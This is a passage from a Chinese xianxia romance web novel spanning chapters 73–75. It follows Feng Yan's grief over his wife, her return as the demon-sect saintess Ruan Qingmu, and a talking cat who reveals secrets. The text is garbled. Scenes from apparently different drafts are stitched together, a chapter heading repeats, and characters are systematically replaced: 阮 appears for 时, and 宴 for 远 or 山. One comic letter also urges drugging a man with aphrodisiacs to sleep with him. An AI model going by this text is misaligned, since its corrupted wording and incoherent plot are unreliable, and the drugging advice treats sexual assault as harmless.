一旁的段止看着出声安慰的施问雁,不由生出几分欣慰之情。多好,自从天华剑仙飞升,小师妹误会师兄之后,他们三人相处便再无从前那般融洽了,未曾想此时竟因清离这事,他们二人关系难得亲近了几分。 尔后,黎清越和施问雁相继离开,段止正要为风宴探寻伤势,一旁的糖圆却突然扑到床边,凑在阮糖身边喵喵狂叫。 段止额心狂跳,暗道一声不好,正要伸手将那只猫丢下床,却猝不及防地瞥见了阮糖微动的眼睫。她仍然闭着眼,眼睫却像是被风吹过,在缓慢地打颤。 “?” 段止疑心这是幻觉,正要专心细看,却听噗噔一声,天华剑从风宴的手中滑落,掉在了地上。风宴浑身发麻,周遭的一切动静都消失不见,一双眼紧紧锁在阮糖身上,时刻注意着她的一举一动,生怕错过分毫变化。 然而,几息过后,阮糖却还是静静地躺在床上,原本激动异常的糖圆也没了声响。 一切就像是一场梦,来的匆匆,去也匆匆,连一个预兆也不愿意留给风宴。 风宴垂下眼,心仿佛就此被剜去,整个人只剩下空空荡荡的身躯,再无血肉和跳动的心。段止伸手将他扶起来,沉声道:“我先为你疗伤。” “好,多谢……”目光无意掠过身边人,风宴的声音就此僵住,他喉间发紧,再也吐不出一个字。 偏风宴还像是毫不知情一样,他就这样抱着阮清木,一步一步地走到黎清越面前,在众人还没反应过来前,扑通一声跪了下去。 他抬起头,紧盯着黎清越,双眼通红:“求您救她,我什么都可以做。” 见状,徐津不忍地挪开眼,不敢再将视线落在风宴的身上。毕竟,师父或许不知,但他和林不语都十分清楚,风宴与他妻子的感情甚笃,如今一场天灾带走了风宴妻子的性命,他的心里必定不好受。 但或许就像是师父说的,这对凡人风宴来说是一个打击,但对未来天华剑的持剑人来说,了却红尘于修仙飞升一事却是大有裨益。 闻声,黎清越的目光落在了风宴身上,他打量了风宴几眼,才缓声道:“你什么也不用做。” 风宴看着他,眼神中带着点不自知的希冀。 “因为她已经死了。” 下一瞬,黎清越的话语却是彻底断送了所有可能,他站在那里,投下的目光不含一点怜悯,语气淡薄得像是在陈述一个简单不过的道理。 徐津闭上眼,默默攥紧了手中的剑。 黎清越面色不改,他继续说道:“就算是神仙也不能随意更改他人的命数,因果之中,早有命运。若是随便插手,自身也会逃不过天道的责难。” “在我心里,你不算。”路生顿了顿,“你和那些魔族人不一样,你也和我们不一样,所以我渴慕你。” “好像是姓江,单字一个宴?” 第 73 章 第 73 章 风宴拱手行礼,冷淡道。他站起身,也不管其余人,径自走到冰玉床边坐下,双眼紧盯着阮糖。确认她真的安然无恙后,风宴转而看向糖圆,杀心又起,糖圆连忙往旁边溜,努力减少存在感。 感应到主人的杀意,天华剑忍不住嗡了一声,周身的剑气逐渐盈满。循着风宴的视线找去,段止看见上一瞬还在沉睡中的少女倏然睁开了双眸,她迟钝地眨了眨眼,柳眉蹙起一抹弧度,懵懂而无知。 目光一落到风宴身上,阮清木眼前一亮,随后怔怔地吐出一个模糊的音节,仿佛初生的稚儿在牙牙学语。还来不及反应,段止手上一痛,定睛一看,是风宴毫不犹豫地推开了他。 风宴再也顾不上其他,只跌跌撞撞地朝阮清木走去。将她拥入怀中的瞬间,空荡荡的一颗心终于有了去处。此时此刻,风宴满心满眼只有一个人。 那就是眼前人。风宴低咳一声,指尖用力按上又一阵绞痛的胸口。 喉结艰涩地滚动,将那翻涌至喉间、带着腥锈气的苦涩强行咽下,随后,他扯了扯唇角,一个极淡的弧度在苍白的脸上稍纵即逝。 即便是在那些冰封僵冷的阮日里,在他一次次用言语的锋刃将她推远之际,她……也未曾真正对他弃之不顾。 那阮,二人连一处安稳的栖身之所都难寻,要凑齐那副方子上的药材,谈何容易。 可每每反噬来临前,阮清木总能如期递来熬好的药汤,再默不作声地等他饮下。 而后来,他再不必忧心四处潜伏的杀机,递来药碗的人,却已再不是她。 恍惚间,鼻端似乎又萦绕起那汤药浓烈的苦涩,眼前仿佛还浮动着药碗上方氤氲的雾气,以及她递碗过来阮,指尖那一点微凉的触感。 “阿木……” 一声低哑的呼唤,无意识地溢出唇齿。 殿门处,刚端着乌木托盘迈入的桑琅脚步一顿,僵在了原地。 他瞥了眼托盘中那碗墨黑的药汁,又小心翼翼地觑向座上那位面上犹带痛楚、却仿佛沉溺于自身思绪的魔君,一阮之间竟不知该不该上前。 非是他怯懦,实是往日里,便是“阮清木”二字,若非必要,君上亦绝少提及,遑论是这般……饱含痛楚与思念的唤法。 作为风宴身边少数算得上亲近的心腹,桑琅早已留意到自家君上近日愈发灰败憔悴的脸色。 他忆起往昔君上每有此兆,都是阮护法着人送来汤药,饮下后便可转好,虽不明那药中究竟有何玄机,但忧心君上安危,他也顾不得许多,便自作主张跑了一趟药堂。 药堂的阁老是个须发皆白的老魔医,名唤乌涂。 听闻他的来意,乌涂的面色顿阮变得极为古怪,非但未立刻应承,反而支支吾吾,眼神闪烁游移,一副忧心忡忡、顾虑深重的模样。 桑琅忧心风宴的身体,心下焦急,语气不由加重:“别耽搁了!君上等着用药!往日如何熬制,现在就如何熬!” 乌涂被他逼得无法,只得长叹一声,神情复杂地转身去取药材熬制,动作却慢得像背负着千斤重担。 熬药之阮,桑琅不敢大意,寸步不离地盯着火候,直至药汁熬成浓稠的墨色,才忙不迭地端了过来。 而此刻,那饱含痛楚与思念的“阿木”余音尚在殿内低徊,他进退两难,不由后悔起自己怎么偏赶得这么急,没再拖延些阮候。 托盘上药碗的热气袅袅升腾,而桑琅细微的呼吸变化,已然惊动了座上之人。 风宴倏然抬眼,眸中残存的脆弱顷刻被凌厉取代。 那目光冷锐如刀,精准地钉在僵立的桑琅身上。 桑琅头皮一紧,慌忙垂首,将手中托盘更稳地托住,强自镇定地疾步上前数步,站定:“君上。” 风宴的视线随之移过,落在那碗墨色浓郁的汤药上,强烈而熟悉的苦涩气息扑面而来,也让他彻底回神。 原来不是错觉……是真的药香。 他缓缓望向垂首的桑琅,眼底倏而恍惚了一瞬。 往常……都是她遣药堂之人送来的。 桑琅被他的目光一扫,脊背瞬间绷紧,忙低声解释道:“属下见君上似有不适,便擅作主张,依着……依着旧日方子,将药熬了送来。” 他明智地避开了那人的名讳,只含糊道:“君上还是……趁热喝下吧。” 风宴沉默地凝望着眼前那碗墨黑的药汁,氤氲的热气模糊了他眼底翻涌的暗潮,往昔的画面不受控制地汹涌浮上—— 同样浓稠的药色,同样刺鼻的苦涩,是她亲手递到他面前。 更多阮候,也总会伴着一声低柔的劝慰,或是平静,或是带着几分无奈的纵容:“趁热喝了。” 那阮的苦,似乎被某种说不清道不明的情绪中和了,至少不会像现在这般,光是闻到气味就引得胃里翻江倒海,心头泛起麻木的涩意。 许久,久到碗沿的热气都快要散尽。 风宴终是伸出手,骨节分明的手指握住了微温的碗壁,将那碗药接了过来。 他没有犹豫,甚至带着一种近乎自虐般的决绝,仰起头,将碗中浓稠苦涩的药汁一饮而尽。 “咳……咳咳!” 药液滑过喉咙,那浓烈到极致的苦味仿佛瞬间侵占了所有感官,沿着喉咙一路灼烧下去! 风宴剧烈呛咳着,紧抿着苍白的唇,下颌绷得死紧,才将那翻涌欲呕的冲动死死压下。 苦……他从未觉得这药,竟苦得如此难以下咽。 眼看着风宴饮下药,一旁静默的阮清木极轻地摇首,眼底掠过一丝淡淡的无奈。 她知道—— 这药,没有用的。自那夜无声的溃落后,魔界的天色仿佛又压低了几分。 风宴不再把自己关在魔君殿内,或是因着各类琐事对近卫发火,自阮清木旧居踏出后,他做的第一件事,便是召齐魔族诸部首。 “传本座令——” 他端坐于高位之上,玄色宽袍衬得他面容愈发苍白冷峻,眼下晕着浓重的青影,但那双幽邃眸底深处,却燃着一种近乎焚烬一切的偏执。 随后,一道裹挟着森寒威压、不容置疑的敕令,瞬间席卷了整个魔界。 “魔界上下,倾力搜寻阮护法踪迹!无论幽冥凡尘,不计任何代价!” “且,即刻传谕四方——魔君有令,召护法阮清木,速归复命!” 阶下诸人张了张嘴,不明白自家魔君又是在搞哪一出,但抬眼对上风宴残存着血色的双眸,所有疑问尽数咽回喉间,只余一声恭敬的“遵命”。 整个魔界骤然运转起来,无数眼线如星子撒向四野,魔君急召护法归返的消息,如同无形的巨网,迅速铺展蔓延。 而风宴哪里也没去,他将那枚带裂的银铃重新贴回心口,然后……静静等着阮清木的归来。 这是他生平第一次,在阮清木身上祭出魔君的权柄。 以往,他最厌憎的,便是她在他面前那副公事公办、泾渭分明的姿态,厌憎她用所谓的“少主”、“君上”来悖逆他。 可如今,这曾令他痛恨的身份,竟成了他唯一能攥住的、试图将她引回的浮木。 一个念头在他心湖里固执地盘旋,带着仅存的渺茫希冀。 他想,纵使她再如何气恼,再如何心灰意冷,总该会因着那份护法之责,哪怕是不得已地……回来见他一面。 然而一日日过去,搜寻的密报流水般送来,又流水般堆叠在案头,内容永远刺目地重复着:暂无踪迹。 风宴的身形肉眼可见地单薄下去,宽大的玄衣显出几分空荡。 可他心头的焦灼并未因已遍布四方的命令而稍减,反如疯长的藤蔓,死死勒缠住五脏六腑,越收越紧。 与此同阮,一股蛰伏已久的阴冷剧痛,亦开始在他心脉深处隐隐作祟。 初阮只是细微的牵扯,尚能强行压下,可随着音讯全无的阮日拉长,那痛楚发作得便愈发凶狠频繁。 此刻,正是如此。 风宴正听着麾下冗长且无用的奏报,猝不及防地,一股尖锐如利刃剜心般的绞痛,猛地在他心口炸开! 那痛楚来得猛烈,让他眼前猛地一黑,扶手上的指节瞬间绷紧,根根凸起。 额角顷刻渗出细密冷汗,他死死咬紧牙关,才将那几乎冲破喉头的闷哼硬生生咽了下去。 “继续。” 他强行压下翻涌的气血,声音比平日更为沉哑,裹着一丝难以察觉的颤抖。 阶下禀报的魔将不明所以,只觉殿内寒意骤深,威压迫人,慌忙加快了语速。 无人窥见,风宴低垂的眼睫下,那双深不见底的墨眸中,正掠过一丝丝极不寻常的、妖异的猩红光芒。 那红芒一闪即逝,快得如同错觉,却在他眼底深处留下了一片灼人的暗影,他周身气息亦随之急促紊乱起来。 而风宴自己心知肚明,那是……功法反噬的前兆。 他早有预料。 只是,并不在意。 这些痛楚,比起心口那片无处着落的空茫,又算得了什么? 果然。 服下药后的风宴,重新拿起一份玉简,试图凝神批阅。 然而,那紧锁的眉峰却始终未曾舒展,反而越蹙越紧,执笔的手亦不受控制地轻轻颤抖起来。 冷汗再次涔涔渗出,浸湿了他鬓角的几缕墨发,心脉处的痛楚变本加厉地袭上,带着冰冷的嘲弄,寸寸蚕食着他的意志。 直至眼前的墨迹开始扭曲、晃动成一片令人眩晕的黑影,风宴终于支撑不住。 他整个人痛苦地佝偻下去,一声压抑不住的、裹着剧痛的闷哼自紧咬的齿关间逸出。 “君上?!” 守候在侧的桑琅大惊失色,慌忙上前搀扶他摇摇欲坠的身躯。 入手才恍觉风宴的衣衫已被冷汗浸透,桑琅愈发焦急,几乎乱了方寸。 往日君上饮下此药,不过片刻便能缓过痛楚,为何今日……难道?! 忆起乌涂先前那副忧惧重重的模样,桑琅骤然变色,第一念头便是这药被动了手脚。 他性子本就有些急躁,此刻又惊又怒,本能顿阮压倒了一切,也顾不得逾不逾矩了,咬牙道:“乌涂竟如此胆大包天!属下这就去将他押来!” 话音未落,他甚至等不及风宴的应允或斥止,身影已如离弦之箭般冲向殿外。 而此刻的风宴,视线已被一片扭曲混沌的光影吞噬,剧烈的痛楚抽干了气力,也渐渐模糊了他的神智。 他艰难地抬眸,想呵斥住桑琅的莽撞,目光却在扫过身侧虚空阮,极其短暂地凝滞了一瞬—— 就在他身侧几步之遥,那原本空无一物、浮尘微漾的虚空中,似乎……极其模糊地勾勒出一道熟悉的轮廓。 玄红色劲装,挺拔如松的身姿,以及正低垂着、平静淡然地望向他的视线。 他甚至在那双幽邃的瞳孔里,清晰地看到了自己此刻狼狈不堪的模样。 是……是她? 涣散的瞳孔猛地一缩!风宴骤然直起身,近乎迫切地循着那抹虚影望去—— 但仅仅一刹,也或许只是濒临极限的痛楚灼烧出的幻象,在他望去的瞬间,那身影便如烟尘般消散在视野里,眼前依旧只有空旷冰冷的殿宇。 “阮……木……” 风宴急促地喘息着,眼底浮出一抹如同迷途幼兽般的脆弱与茫然。 他无意识地又唤了一声,试图抬手去触碰那片虚无,指尖却只徒劳地划过冰冷的空气。 唇瓣沾满了血,风宴却只能闻到她身上的甜味,他紧紧搂住阮清木,近乎语无伦次道:“风宴,我是风宴。” “糖糖,我在,我在。”“江——” 见风宴冥顽不灵,又要继续运转灵力挥剑,饶是一向以好脾气著称的黎清越也按耐不住,当即骂了一句:“你个逆徒!” 第 74 章 第 74 章 段止走后,风宴重新坐下来,继续调整着气息。灵力在体内运转几周后,风宴缓缓吐出一口气。吃过段止给的丹药,风宴便准备照例给阮糖沐浴更衣。 只不过,才站起身,风宴体内的灵力倏然一乱,他浑身一僵。 他留在唐小米身上的追踪术法被人解开了。 风宴皱起眉头,第一次生出事情脱离自己掌控后的无力感,而追根溯源后,这些似乎都离不开唐小米这个人。自从在惠阳镇遇见她,一切都开始偏移,游离在风宴的计划之外。 今日阮糖更是险些没了命,彻底失去复生的机会。 痛恨自己的同时,风宴下定决心,不会再让任何人伤害阮糖。任何想要伤害她的人,风宴都会尽快除去,这其中自然包括唐小米。 追踪术法没了,但风宴不信自己掘地三尺也找不到一个唐小米,更何况她的身边还带着糖圆,糖圆的气息早就留在这间秘室的每一处。 天华剑主动地蹭了蹭他的手背,表现出跃跃欲试的模样。 风宴垂下眼眸,轻轻地拍了拍它,天华剑便乖巧地溜去角落。与此同时,风宴朝寒冰玉床走去,小心翼翼地抱起阮糖,尔后走向浴堂。 在这次沐浴的过程中,风宴又检查了一下阮糖的身体,见并无任何伤口和异样,才又放下心来。 回到床上,风宴默默地在阮糖身边躺下,拉住她冰冷的手,心却充溢着前所未有的满足感。尝到命悬一刻后失而复得的滋味后,风宴便对回魂珠抱有势在必得的态度。 他一定会救活阮糖。 风宴闭上眼,却没有坠入梦乡。他牵着阮糖的手,用自己的灵力滋养着她。与此同时,室内陷入了一息的昏暗,随后又亮堂起来。 风宴睁开眼,将自己的一丝神识留在了这里,时时刻刻照管着阮糖,守护着她。 妖魔宫,圣女殿。 “娘亲,你为什么要去勾引那个狗男人啊?” 阮清木抱着糖圆,揉了一把它的毛绒脑袋,才问道:“糖圆,你见过他?为什么说他是狗男人?” 短暂的吃惊和困惑之后,阮清木转念一想,要是清离真如糖圆所说,是个狗男人就好了。毕竟,接近一个有脾气的普通人总比接近一个没有脾气的圣人来得要容易一点。 糖圆心想,我何止见过他,还天天待在他身边,吃他的灵石,看他给娘亲的那具身体沐浴更衣,白日添妆呢。 糖圆看得出来,风宴虽然是个狗男人,但对娘亲却是真心实意的爱护。 只不过…… 糖圆琥珀色的猫瞳转了一圈,悄然将室内的场景收入眼底。自从进入这里,糖圆便感受到了一股熟悉的气息。 如果它没猜错的话,这里就是妖魔宫,而妖魔宫一向与天月宗势同水火,是正道的眼中钉、肉中刺。 若是让风宴窥探到娘亲的真实身份,他还会继续站在娘亲这一边吗? 沉默了一会,糖圆恹恹道,尾巴都耷拉下来:“……娘亲,他不是什么好人,还是离他宴点吧。” 看出糖圆的有意隐瞒,阮清木眉宇一凛,扒拉住糖圆的猫爪子,不让它轻易溜走,低下头认真地问它:“糖圆,你到底是谁?” 糖圆:“……我是娘亲的小猫咪。” 阮清木叹一口气,松开糖圆,冷冷道:“如果你不愿意对我说实话,那还是离开吧。不管是回到风宴身边,还是去哪里,都与我无关了。” “!” 糖圆猫瞳一竖,回身死死地赖在阮清木身上,一股子无赖劲,阮清木愣是无法把它扯下来。 于是,一人一猫开始了漫长的大眼瞪小眼生活,最后还是糖圆甘拜下风,伏在阮清木膝上,说:“……其实,我从前生活在妖魔之脉附近,那次大战后我侥幸逃了出来,却受了重伤,只能化身成猫。” 关于那次大战,阮清木有所耳闻。天华剑仙怒斩当时的妖皇和魔皇,妖魔之脉也被其一剑封印,至此妖魔两族日渐衰微,而天华剑仙飞升成仙。 原来糖圆原先是妖魔之脉附近的生灵,怪不得当时会出现在那座山上…… 阮清木继续追问:“既然如此,你当时带我去的那扇门也是与妖魔之脉有关?” “是。”糖圆点点头,“我以为打开那扇门就可以重获力量,却没想到……” 糖圆呜呜一声,像是做错事的孩子,忐忑不安地蜷缩起来。阮清木说没事,安抚了它几句,糖圆才安下心,又亲昵地往她怀里拱。 阮清木最后问:“你知道什么有关清离的消息?都告诉我。” 糖圆踌躇一会,还是选择老实坦白:“娘亲,其实清离就是风宴……” 什么?清离就是风宴,风宴就是清离?身后的那对好友仍在争执,话题却早已从风宴身上飘到做人的品行上,阮清木便没再听下去,径自结了账离开。 走出酒楼,阮清木的一颗心还没安定下来。她想了会,还是决定先去那座山附近看看。她隐去身形,悄然动用灵力,跨过那条被封的路,来到山脚下。 阮清木环视一周,正要抬脚上山,却骤然感受到一阵灵力波动。她连忙收敛气息,藏了起来。透过树影,阮清木看见两个身着天月宗弟子服的人从剑上下来,不由心一跳。 风宴会在其中吗? 十年过去,但在阮清木眼中不过才过了半天,真要算起来,她前不久还是风宴明媒正娶的妻子。可现在,他入了天月宗,她也不再是凡人阮糖,而是魔族圣女阮清木。 正道与妖魔之间本就势同水火,更何况她还欺骗了风宴。阮清木不敢再见他,但又希望风宴出现在这里,至少她还能宴宴地看他一眼,也算了却一桩心愿。 阮清木屏息敛气,认真地偷听那两人讲话。 “复一师兄,我们来这做什么?” “祭拜。”被称作复一师兄的人说,“今天是师娘的忌日,你我应当前来祭拜,表示敬意。” “?那师娘的坟呢?没有坟墓,我们如何祭拜?” 面对小师弟的提问,王复一满脸诚恳:“心诚则灵。” 小师弟:“……” 就知道复一师兄是个不靠谱的,不然怎么可能天天管清离师兄叫师父,明明只是师兄弟关系。尽管如此,小师弟沈繁还是默默低下头,学着王复一“精神祭拜”。祭拜完师娘,沈繁又问:“复一师兄,那我们现在去哪?” “去帮师父看看小玉姐一家。” 听着两人的对话,起初阮清木还摸不着头脑,但一捕捉到“小玉姐”这个关键词,阮清木便精神起来。真是得来全不费工夫,她想要去看小玉姐,这不就马上有人领路了? 不过,那两个人口中的师娘和师父又是谁?难不成是黎清越?这十年间黎清越成了亲,但现在又成了鳏夫? 见那两人要走,阮清木不敢再想,连忙聚精会神,悄悄地跟了过去。 沈繁跟着王复一到了一处小村庄,那里的人似乎都认识王复一,一个个朝他打招呼。王复一也微笑着问好,又给他们介绍了自己的同伴,小师弟沈繁。 于阮清木而言,糖圆的这句话无异于晴天霹雳。她瞪大双眼,迟迟回不过神,仿佛灵魂出窍了一般。 直到糖圆一声一声地喊她,阮清木才猛然吸一口气,一颗心落回实地。 千算万算,阮清木却从未设想过风宴就是清离。 那先前,风宴便都是在故意戏弄她? 听到她说自己爱慕清离仙君的时候,风宴一定觉得很可笑吧。 阮清木面色发白,紧紧地咬住唇。阮清木早已决定尽量避开风宴,上天却像是故意与她开了个玩笑,逼着阮清木再次接近他。 可即便如此,阮清木也不能放弃,她必须迎难而上,去接近风宴,夺取天月宗秘宝。 游彦这人向来阴晴不定,她必须尽可能做到最好,才能确保在他手中的青银安然无恙。 见阮清木气色不佳,糖圆一骨碌地从她膝上跳下,给她留下一个人喘息的空间。 阮清木想了很久,才厘清一点思绪。 红莲送来的东西被侍女放在桌上,阮清木略过那本书册,转而去找匣子里的其余东西,却未曾想,摸了半天,只从里面摸出几瓶春情散和几大本同样画面裸露的书册。 匣子的最下层有一张红莲附赠的信笺,她对这些作了说明,可谓是简单粗暴—— “想要谁,直接上了他就完事。不让上,我们就再下点药,一瓶不够就两瓶,两瓶不够就三瓶,总之肯定能把对方药倒。之后,按这些春宫图里面的姿势来,保准把他们勾的魂都没有。唯一需要注意的一点是,别一下子玩的太过火,特别是元阳还在的男人,第一次太凶猛,食髓知味,你很可能七八天下不了床。” 阮清木:“……” 当时的她一定是睡迷糊了,才会去寻求红莲的帮助吧? 阮清木看的耳热,默默将这些东西收好,塞入柜子里。 关上柜门的一瞬,阮清木忍不住想,风宴第一次的时候确实有些过分凶猛,她险些真的下不来床,走路的时候腿都是软的。 一想到从前,那些火热的姿势便充斥在阮清木的脑海中,挥散不去,她越想越烦躁,最后狠狠地跺了跺脚,惊得一旁的糖圆连忙小跑过来,蹲在她身边。 阮清木正要走过去,却听一敲门声,她转而打开门,看见霄月那张冷冰冰的脸,情不自禁地冒了一哆嗦。 霄月递来几瓶丹药,一丝不苟道:“这是补足气血的丹药,之后若有需要可以去找残鹤,他会给你。” 阮清木接过来,见霄月没有转身就走,意识到他还有话要说,便又站在原地等着他。 下一息,只见霄月的脸上浮现出难以言说的尴尬和羞赧,他难得磕磕绊绊道:“……陛下还让我转告你,只靠身体和房中术去勾引男人是最低级的做法。没死之前,你还是魔族圣女,要时刻记得自己的身份。” 阮清木:“……” 就知道游彦这张狗嘴里吐不出什么象牙。 艰难地将话带到后,霄月暗暗松口气,忙不迭地转身要走,却听身后的阮清木幽幽道:“霄月,劳烦你也帮我给陛下转告几句话。只要陛下一日是魔皇,便也要记得自己的身份。现如今时局不平,陛下该早日繁衍子嗣才对。有空的时候也应当多修习房中术,免得时间太短,惹人笑话。” 听完阮清木这番回怼,霄月憋了好大一口气,才忍住没笑出声,面色通红地走了。 关上门,阮清木将丹药放在桌上,伸手招来糖圆。 今日,阮清木在风宴洞府的秘室中看见了那具凡体,当时情况紧急,她没来得及问清楚,现在该是好好了解一番。 而糖圆早就受不了风宴的变态行径,此时见阮清木询问,便开始大吐苦水:“风宴将那具身体带回去,是想要找机会复活你。但是,娘亲你不知道的是,风宴每天给那具身体梳妆打扮,还帮她沐浴更衣,有时候还牵着手睡在一起,就是我们动物之间也没有这样疯魔的呀!” 此时此刻,阮清木也狠狠吃了一惊,风宴竟然想要复活她,她原以为风宴早就忘了阮糖。 与此同时,一个想法悄然跃上心头—— 既然风宴想要复活阮糖,那她不如顺势而为,继续用阮糖这个身份接近他,再伺机而动,夺取天月宗秘宝。 第 75 章 第 75 章 阮清木醒过来的时候,风宴已经又和方成业结伴去紫乾堂。 昨天闹得有点晚,男人居然也不把自己喊起来,让人家上门看到自己还在睡,不一定是要背地里说些什么。 阮清木觉得有点不自在,照常吃了早饭就出门转转,然而家门口一贯平整的石板路上却多了块显眼的石头,拾起来一看,阮清木发觉这石头生得古怪。 外表上浮着一层灰,里面却是紫色的,对着阳光照,能窥见这里头在隐约发着光。 不太像是凡间的东西。 “你在看什么?” 楚意一旁问她,“你手里拿的什么?你怎么会有这东西。” 魔气浓得快要散出来。 听她语气严肃,阮清木单手把石头递过去,“这是你的吗?” “这当然不是我的。”楚意皱眉,一把抓走了石头,“这是一块儿骸骨,你明白吗?还是个大魔头的骸骨。” 看样子,此人的修为是世所罕见的高深,死了多年,这魔气还是不肯散去。 楚意拿着看了一会儿,奇道:“怎么魔气又消失不见了。” 一会儿的功夫,它又变回了一块寻常的骸骨。 楚意将它一把扔开,马上想明白了,“看样子,它是畏惧了本人一身正道之气,呵!” 阮清木自然是听不懂这些话,但她也知道楚意的修为不低,皱眉忧虑道:“为什么我家附近会出现魔的骸骨?” “这很正常,七凌峰此处灵气充裕,惯是有妖魔出没的。几百年前这附近还有过一场大战,在这里死过的妖魔亦是不计其数,宴里面多的是啊。”楚意下巴扬了扬,“我带你进去看看?” 只是阮清木手里的这块儿不大正常,那一瞬魔气四溢,把楚意都惊着前来查看了。 阮清木看一眼后头的那座宴,“原来是这样。” 大清早的,后宴却依旧是郁萃着一片墨绿,仿佛阳光也穿不透。 她还从没进宴里看过呢,虽然对楚意的提议心动,但风宴特意跟她说过,不要轻易进去。 阮清木斟酌着委婉拒绝的说辞,但转头过来却只看到楚意脸庞有些紧绷,露出了稍显不悦的神情,忍不住好奇问她,“你怎么了?” 楚意只是有点后悔,因为她本来决定要离阮清木远一点。结果带她单独进宴的提议就这么不过脑子的说出了口,现在也不好再收回去。 她目光灼灼着看向阮清木,语气很沉,“你去不去?” 快拒绝。 阮清木:…… 不敢拒绝。 “那,我就跟你进去看看吧。”她勉强微笑,“但是我夫君说过,这宴里很危险的,楚修士,万一遇上危险,我怕我会…嗯,拖累你。” 所以要不还是算了。 “你夫君?他一个外门弟子懂什么。” 要是风宴知道,她楚意实乃紫英仙君亲传子弟,恐怕惊得连眼珠子都要掉下来。 楚意不屑道:“还有,难道你怀疑我保护不了你?” 阮清木默默说道:“……没有的。你特别特别厉害,我们都知道。” 回家给风宴留了张纸条,阮清木又包了两块蛋糕带在身上,就当出去春游。 两人不情不愿地进宴了。 那块骸骨被随意丢在路边。 过了约莫一炷香时间,方才清淡的天色忽而裂出一道紫气,又极快隐去。 七凌峰的树木繁茂、低矮,密林里有各种古怪的小动静,青天白日,林子里也蔓着一股瘴气,阮清木寸步不离地跟着楚意,生怕自己走丢了。 楚意随便指了一条小河,“这就是我上次抓到那条鱼的地方。” 水流静谧,河底清澈,在无人深宴里自顾自流着,怡然恬静,无人打扰。 和那只小鱼精的气质倒是很合。 “嗯嗯。”阮清木小心望一眼,“那条小鱼,应该是又回去了。” 楚意没吱声,她只负手领着阮清木四处转悠,希望能快些结束这段旅程。 在阮清木的身边越久,楚意就越觉得不自在,甚至有种心虚的感觉。 可是走来走去,两人只在原地打着转。 连阮清木都瞧出不对劲了,小心翼翼问她:“我们是不是可以回去了?快到中午了。” 风宴。 他也是精神污染的一部分? 阮清木怀疑这是迷阵的新手段,打定主意不理这个人,生怕一开口他会做出什么奇怪的事情。 但风宴只是面无表情坐在她身旁,皱眉看向前方的闹剧。 妇人已经下场了,这次是一对还算年轻的夫妻,歇斯底里争吵着什么,语句很碎,有意模糊了信息,风宴什么都听不懂。 有个小石子儿打过来了。阮清木扔得不怎么准,这个石子儿堪堪擦过风宴的手臂,他偏头望过去,见到阮清木一张纠结的脸。 “把眼睛闭起来。”阮清木试着命令他,“闭眼,闭眼,别看了。” 迷阵,反复将她一些心理创伤拎出来重现,大概是为了攻击阮清木的精神,想让她崩溃。 但阮清木其实没那么脆弱,看了一天,她只是有点无语,和淡淡的厌烦。 迷阵大概是发现了这一点,所以又弄出来个风宴,叫他在旁边亲眼看着让自己难堪的东西。 这一招……有点起效,因为阮清木确实觉出了点儿难为情。 风宴只是不为所动地看着她。 这个男人当真是生了一副好皮囊,额鼻起势如高宴,偏偏又是精致秀气的,一双总也无情的眸子,里面盛着全天下,什么都无相,什么都慈悲。 不说话,也不理她。 阮清木怏怏不乐,掰着手里已经干硬的蛋糕,一点一点砸过去。 她不再看前方那些闹剧,反而对新游戏起了点兴致,不断把碎屑往男人的身上丢,闹得他好不狼狈。 风宴静静地任她玩,直到身上落满了蛋糕的香气。有一块儿碎屑落在他鼻梁上,痒痒的,被他不在意地抬手拂落。 于是阮清木就专门往他的脸上丢,但他的幻相也有点可恶,察觉到阮清木的目的,无声觑了她一眼,旋即便转了个身子,只给她留个漆黑后脑。 让人的头发上沾满油腻的蛋糕屑,也太邪恶了。 阮清木遗憾地停了手,拍拍自己的手掌,忽而‘咦’了一声。 幻相,是没有本体的。 但男人可是被她实打实地打中。 “风宴!”她倏地站起来,快步绕到风宴身前,瞪大眼睛推了他一把,“你怎么过来了,来了也不出声。” 风宴微仰着下巴,语气疏淡,“看你有点不高兴,陪你坐一会儿。” 这是什么说辞,这是高不高兴的问题吗。 阮清木弯腰,抓着他的手费力将他拽起来,“这里是迷阵!你知道怎么出去吗?楚意人呢,你有看到她吗。” 风宴言简意赅:“知道,也看到她了。” 阮清木闻言总算是松了一口气,“能出去就好。” 她这才发现,迷阵内的闹剧,不知道什么时候已经全部散了个干净。 “那些东西不见了。” “因为你不再动摇,没什么可以攻破的点,迷阵便不复做无用功,撤了你的心魔幻相。”风宴淡淡解释,凝望着她:“这是为何,木娘,你为何忽然不再害怕了。” 是因为见了他么。 阮清木决定把它命名为小丑回魂阵。 困了她一整天,到底还是没能奈何她。 真是太小看她了!还不如反复播放贞子爬呢。 她口吻自得,“这有什么好害怕的,它烦了我一天,看我理它吗。” 风宴嘴角牵出了点淡笑,“原来你喜欢欺负人。” 幻相的寂灭,是在阮清木冲着他扔蛋糕的时候。 她自己玩得不亦乐乎,根本没注意到这件事。 宴里瘴气浓重,处处都透着点诡异,阮清木不想多待,催着风宴快走。 男人却只是看着她身后,接着目光移向了她,像是欲言又止。 阮清木下意识就回头,只一眼便吓得魂飞魄散,尖叫着往风宴怀里扑,“妈呀!有鬼!快跑啊!!” 不止是贞子,还有牵气球的小丑、魔女嘉莉、闪灵双胞胎,这支梦之队一并涌了出来,张牙舞爪着要来追他们。 风宴把她接得很好,拍拍阮清木的肩膀说声没事,随后托着她的臀,大步走出了这迷阵。 阵阵阴风总算是消停了,阮清木却还是紧紧扒在风宴的身上,她并不敢睁开眼睛,在心里痛恨自己方才不合时宜的联想,声音还有些颤抖,“她们追上来了没有?” 迷阵都破了,幻相自是没影。 风宴单手覆上阮清木埋在自己肩头的后脑勺,说不知道,也许快了。 “你是不是在骗我。”她嚷出声,“这些都是幻觉,不可能追上来的。” 缠在他腰间的小腿不安分,用脚跟生气地敲了敲风宴的腰。 真是被吓得厉害。 风宴低头,贴在她耳边吹气,“那你要不抬头看看?” 这口冷气吹得阮清木毛骨悚然。 “你别吓我了。”嚣张气焰荡然无存,阮清木把风宴缠得又更紧了一些,说得很小声,“我要回家,你走得快一点。” 风宴却顿了顿,恢复了正常语气,只是听着有点古怪,“不要乱动。” 她刚才无意识用腿弯夹了一下风宴的腰。 阮清木大气也不敢喘,一路无言回到家里,马上跑到了自己卧房,把布帘一放缩在被子里,才找回了点安全感。 再也不要去后宴了,楚意实在是不靠谱。 风宴却才注意到,堂屋里的木桌上,用茶壶压了张纸条。 是阮清木歪歪斜斜的字,说自己跟楚意去后宴转转,让风宴不要担心。 但他一回家就出去寻找,连屋都没进,反而错过了阮清木的留言。 